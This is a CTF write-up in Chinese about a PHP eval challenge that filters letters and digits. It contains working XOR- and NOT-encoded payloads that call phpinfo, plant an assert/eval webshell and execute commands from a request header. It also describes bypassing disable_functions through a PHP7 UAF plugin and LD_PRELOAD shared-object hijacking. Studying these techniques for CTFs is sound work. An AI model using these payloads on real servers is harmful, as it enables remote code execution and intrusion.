前面考察取反或者異或繞過,后面讀Flag那里我用臟方法過了,沒看出來考察啥
進入題目給出源碼:
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } ?>
過濾了字母數字,考慮異或或者取反繞過,老套路
先構造一個Payload看看phpinfo,看一下PHP版本以及禁用函數:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo


可以看到是PHP7,但是system、exec、shell_exec等命令執行的函數都被Ban了,先構造個Shell連上看一下:
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
根目錄下可以看到/flag和/readflag兩個文件,應該是要通過執行/readflag來獲取Flag的

但是執行命令的函數都被禁用了,想到蟻劍有一個繞過disable_functions的插件,正好有PHP7的UAF

運行得到終端,運行/readflag獲得Flag:

但這個應該不是預期的解法,做完之后又看了一下出題師傅的預期解法:
一般來說,最簡單的繞過disable_function的辦法,dl函數,proc_open函數,漏洞版本的imagemagic等
這里的話都過濾的比較好,
這時候,就可以用這段時間比較好用的環境變量 LD_preload + mail劫持so來執行系統命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html具體原理上面講的比我好,大概就是通過linux提供的LD_preload環境變量,劫持共享so,在啟動子進程的時候,新的子進程會加載我們惡意的so拓展,然后我們可以在so里面定義同名函數,即可劫持API調用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同學做到這一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶機上前人做題留下來的腳本直接使用拿到/flag,並沒有自己去想怎么繞過disable_function
這里劫持共享so的具體操作可以參考:http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/
前面的預期exp還是利用了PHP7的特性,構造了一個取反的payload:
(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
然后可以在U-A頭中執行命令,具體的可以參考出題師傅的博客:https://evoa.me/index.php/archives/62/
